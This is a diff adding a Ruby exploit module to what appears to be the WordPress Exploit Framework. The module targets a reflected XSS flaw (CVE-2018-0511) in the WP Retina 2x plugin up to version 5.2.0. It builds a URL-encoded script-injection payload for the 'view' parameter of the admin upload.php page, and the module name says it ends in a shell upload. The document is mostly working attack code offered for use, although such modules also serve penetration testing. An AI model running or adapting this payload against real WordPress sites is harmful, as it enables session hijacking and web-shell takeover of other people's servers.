Add WP Retina 2x <= 5.2.0 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/wp_retina_2x_xss_shell_upload.rb

@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::WpRetina2xReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Retina 2x <= 5.2.0 Reflected XSS Shell Upload',
+      author: [
+        'Chris Liu', # Dislosure
+        'rastating'  # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-0511'],
+        ['WPVDB', '9040'],
+        ['URL', '	https://jvn.jp/en/jp/JVN30636823/index.html']
+      ],
+      date: 'Mar 12 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-retina-2x', '5.2.2')
+  end
+
+  def xss_payload
+    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'upload.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=wp-retina-2x&view=#{xss_payload}"
+  end
+end